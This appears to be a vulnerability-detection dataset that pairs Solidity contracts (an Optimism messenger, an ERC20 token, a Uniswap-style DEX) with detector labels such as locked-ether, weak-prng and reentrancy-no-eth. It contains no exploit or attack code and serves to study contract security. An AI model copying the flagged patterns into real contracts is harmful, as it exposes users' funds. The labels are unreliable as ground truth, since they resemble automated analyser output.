emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File contracts/insured-bridge/ovm/Optimism_Messenger.sol
/**
* @notice Sends cross chain messages Optimism L2 network.
* @dev This contract's owner should be set to the BridgeAdmin deployed on the same L1 network so that only the
* BridgeAdmin can call cross-chain administrative functions on the L2 DepositBox via this messenger.
*/
contract Optimism_Messenger is Ownable, OVM_CrossDomainEnabled, MessengerInterface {
constructor(address _crossDomainMessenger) OVM_CrossDomainEnabled(_crossDomainMessenger) {}
/**
* @notice Sends a message to an account on L2.
* @param target The intended recipient on L2.
* @param gasLimit The gasLimit for the receipt of the message on L2.
* @param message The data to send to the target (usually calldata to a function with
* `onlyFromCrossDomainAccount()`)
*/
function relayMessage(
address target,
address,
uint256,
uint256 gasLimit,
uint256,
uint256,
bytes memory message
) external payable override onlyOwner {
sendCrossDomainMessage(target, uint32(gasLimit), message);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'ACT566062' token contract
//
// Deployed to : 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187
// Symbol : ACT566062
// Name : ADZbuzz Tim.blog Community Token
// Total supply: 2000000
// Decimals : 8
//
// Enjoy.
//
// (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// (c) by Darwin Jayme with ADZbuzz Ltd. UK (adzbuzz.com) 2018.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract ADZbuzzCommunityToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function ADZbuzzCommunityToken() public {
symbol = "ACT566062";
name = "ADZbuzz Tim.blog Community Token";
decimals = 8;
_totalSupply = 200000000000000;
balances[0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187] = _totalSupply;
emit Transfer(address(0), 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity 0.7.5;
// SPDX-License-Identifier: MIT
import './interfaces/IUniswapV2ERC20.sol';
import './libraries/SafeMath_0.sol';
abstract contract DIFXERC20 is IUniswapV2ERC20 {
using SafeMath_0 for uint;
string public override constant name = 'DIFX LP';
string public override constant symbol = 'DIFX-LP';
uint8 public override constant decimals = 18;
uint public override totalSupply;
mapping(address => uint) public override balanceOf;
mapping(address => mapping(address => uint)) public override allowance;
bytes32 public override DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public override constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public override nonces;
constructor() {
uint chainId;
assembly {
chainId := chainid()
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
chainId,
address(this)
)
);
}
function _mint(address to, uint value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external override returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external override returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external override returns (bool) {
if (allowance[from][msg.sender] != uint(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external override {
require(deadline >= block.timestamp, 'DIFX: EXPIRED');
bytes32 digest = keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, 'DIFX: INVALID_SIGNATURE');
_approve(owner, spender, value);
}
}
pragma solidity 0.7.5;
// SPDX-License-Identifier: MIT
import "./interfaces/IUniswapV2Factory.sol";
import "./DIFXPair.sol";
contract DIFXFactory is IUniswapV2Factory {
address public override feeTo;
address public override feeToSetter;
uint public override protocolFeeDenominator = 3000; // uses ~10% of each swap fee
uint public override totalFee = 996; // uses ~10% of each swap fee
bytes32 public constant INIT_CODE_PAIR_HASH = keccak256(abi.encodePacked(type(DIFXPair).creationCode));
mapping(address => mapping(address => address)) public override getPair;
address[] public override allPairs;
constructor(address _feeToSetter) {
feeToSetter = _feeToSetter;
}
function allPairsLength() external override view returns (uint256) {
return allPairs.length;
}
function createPair(address tokenA, address tokenB)
external
override
returns (address pair)
{
require(tokenA != tokenB, "DIFX: IDENTICAL_ADDRESSES");
(address token0, address token1) = tokenA < tokenB
? (tokenA, tokenB)
: (tokenB, tokenA);
require(token0 != address(0), "DIFX: ZERO_ADDRESS");
require(
getPair[token0][token1] == address(0),
"DIFX: PAIR_EXISTS"
); // single check is sufficient
bytes memory bytecode = type(DIFXPair).creationCode;
bytes32 salt = keccak256(abi.encodePacked(token0, token1));
assembly {
pair := create2(0, add(bytecode, 32), mload(bytecode), salt)
}
IUniswapV2Pair(pair).initialize(token0, token1);
getPair[token0][token1] = pair;
getPair[token1][token0] = pair; // populate mapping in the reverse direction
allPairs.push(pair);
emit PairCreated(token0, token1, pair, allPairs.length);
}
function setFeeTo(address _feeTo) external override {
require(msg.sender == feeToSetter, "DIFX: FORBIDDEN");
feeTo = _feeTo;
}
function setFeeToSetter(address _feeToSetter) external override {
require(msg.sender == feeToSetter, "DIFX: FORBIDDEN");
feeToSetter = _feeToSetter;
}
// set protocol fee denominator to change fee in _mintFee() function of V2 pair
function setProtocolFee(uint _protocolFeeDenominator) external {
require(msg.sender == feeToSetter, 'DIFX: FORBIDDEN');
require(_protocolFeeDenominator > 0, 'DIFX: FORBIDDEN_FEE');
protocolFeeDenominator = _protocolFeeDenominator;
}
// set total fee function to change fees in getAmountsOut function
function changeTotalFee(uint _totalFee) external {
require(msg.sender == feeToSetter, 'DIFX: FORBIDDEN');
require(_totalFee > 0, 'DIFX: FORBIDDEN_FEE');
totalFee = _totalFee;
}
}
pragma solidity >=0.4.23 <0.8.0;
// SPDX-License-Identifier: MIT
import './interfaces/IUniswapV2Pair.sol';
import './DIFXERC20.sol';
import './libraries/Math_0.sol';
import './libraries/UQ112x112.sol';
import './interfaces/IERC20_0.sol';
import './interfaces/IUniswapV2Factory.sol';
import './interfaces/IUniswapV2Callee.sol';
contract DIFXPair is /* IUniswapV2Pair, */ DIFXERC20 {
using SafeMath_0 for uint;
using UQ112x112 for uint224;
uint public constant MINIMUM_LIQUIDITY = 10**3;
bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)')));
address public factory;
address public token0;
address public token1;
uint112 private reserve0; // uses single storage slot, accessible via getReserves
uint112 private reserve1; // uses single storage slot, accessible via getReserves
uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves
uint public price0CumulativeLast;
uint public price1CumulativeLast;
uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event
uint private unlocked = 1;
modifier lock() {
require(unlocked == 1, 'DIFX: LOCKED');
unlocked = 0;
_;
unlocked = 1;
}
function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) {
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}
function _safeTransfer(address token, address to, uint value) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'DIFX: TRANSFER_FAILED');
}
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
constructor() {
factory = msg.sender;
}
// called once by the factory at time of deployment
function initialize(address _token0, address _token1) external {
require(msg.sender == factory, 'DIFX: FORBIDDEN'); // sufficient check
token0 = _token0;
token1 = _token1;
}
// update reserves and, on the first call per block, price accumulators
function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private {
require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'DIFX: OVERFLOW');
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
// * never overflows, and + overflow is desired
price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;
price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;
}
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}
// if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k)
function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) {
address feeTo = IUniswapV2Factory(factory).feeTo();
uint protocolFeeDenominator = IUniswapV2Factory(factory).protocolFeeDenominator();
feeOn = feeTo != address(0);
uint _kLast = kLast; // gas savings
if (feeOn) {
if (_kLast != 0) {
uint rootK = Math_0.sqrt(uint(_reserve0).mul(_reserve1));
uint rootKLast = Math_0.sqrt(_kLast);
if (rootK > rootKLast) {
uint calcDenominator = protocolFeeDenominator / 1000;
uint numerator = totalSupply.mul(rootK.sub(rootKLast));
uint denominator = rootK.mul(calcDenominator).add(rootKLast);
uint liquidity = numerator / denominator;
if (liquidity > 0) _mint(feeTo, liquidity);
}
}
} else if (_kLast != 0) {
kLast = 0;
}
}
// this low-level function should be called from a contract which performs important safety checks
function mint(address to) external lock returns (uint liquidity) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
uint balance0 = IERC20_0(token0).balanceOf(address(this));
uint balance1 = IERC20_0(token1).balanceOf(address(this));
uint amount0 = balance0.sub(_reserve0);
uint amount1 = balance1.sub(_reserve1);
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
if (_totalSupply == 0) {
liquidity = Math_0.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
_mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
} else {
liquidity = Math_0.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);
}
require(liquidity > 0, 'DIFX: INSUFFICIENT_LIQUIDITY_MINTED');
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Mint(msg.sender, amount0, amount1);
}
// this low-level function should be called from a contract which performs important safety checks
function burn(address to) external lock returns (uint amount0, uint amount1) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
uint balance0 = IERC20_0(_token0).balanceOf(address(this));
uint balance1 = IERC20_0(_token1).balanceOf(address(this));
uint liquidity = balanceOf[address(this)];
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
require(amount0 > 0 && amount1 > 0, 'DIFX: INSUFFICIENT_LIQUIDITY_BURNED');
_burn(address(this), liquidity);
_safeTransfer(_token0, to, amount0);
_safeTransfer(_token1, to, amount1);
balance0 = IERC20_0(_token0).balanceOf(address(this));
balance1 = IERC20_0(_token1).balanceOf(address(this));
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Burn(msg.sender, amount0, amount1, to);
}
// this low-level function should be called from a contract which performs important safety checks
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
require(amount0Out > 0 || amount1Out > 0, 'DIFX: INSUFFICIENT_OUTPUT_AMOUNT');
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
require(amount0Out < _reserve0 && amount1Out < _reserve1, 'DIFX: INSUFFICIENT_LIQUIDITY');
uint balance0;
uint balance1;
{ // scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, 'DIFX: INVALID_TO');
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data);
balance0 = IERC20_0(_token0).balanceOf(address(this));
balance1 = IERC20_0(_token1).balanceOf(address(this));
}
uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
require(amount0In > 0 || amount1In > 0, 'DIFX: INSUFFICIENT_INPUT_AMOUNT');
{ // scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));
uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));
require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'DIFX: K');
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
// force balances to match reserves
function skim(address to) external lock {
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
_safeTransfer(_token0, to, IERC20_0(_token0).balanceOf(address(this)).sub(reserve0));
_safeTransfer(_token1, to, IERC20_0(_token1).balanceOf(address(this)).sub(reserve1));
}
// force reserves to match balances
function sync() external lock {
_update(IERC20_0(token0).balanceOf(address(this)), IERC20_0(token1).balanceOf(address(this)), reserve0, reserve1);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.23 <0.8.0;
interface IERC20_0 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.23 <0.8.0;
interface IUniswapV2Callee {
function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.23 <0.8.0;
interface IUniswapV2ERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.23 <0.8.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
function protocolFeeDenominator() external view returns (uint);
function totalFee() external view returns (uint);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.23 <0.8.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
// function DOMAIN_SEPARATOR() external view returns (bytes32);
// function PERMIT_TYPEHASH() external pure returns (bytes32);
// function nonces(address owner) external view returns (uint);
// function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
pragma solidity >=0.4.23 <0.8.0;
// SPDX-License-Identifier: MIT
// a library for performing various math operations
library Math_0 {
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
pragma solidity >=0.4.23 <0.8.0;
// SPDX-License-Identifier: MIT
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMath_0 {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
pragma solidity >=0.4.23 <0.8.0;
// SPDX-License-Identifier: MIT
// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
library UQ112x112 {
uint224 constant Q112 = 2**112;
// encode a uint112 as a UQ112x112
function encode(uint112 y) internal pure returns (uint224 z) {
z = uint224(y) * Q112; // never overflows
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) {
z = x / uint224(y);
}
}
| These are the vulnerabilities found
1) weak-prng with High impact
2) divide-before-multiply with Medium impact
3) incorrect-equality with Medium impact
4) reentrancy-no-eth with Medium impact |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.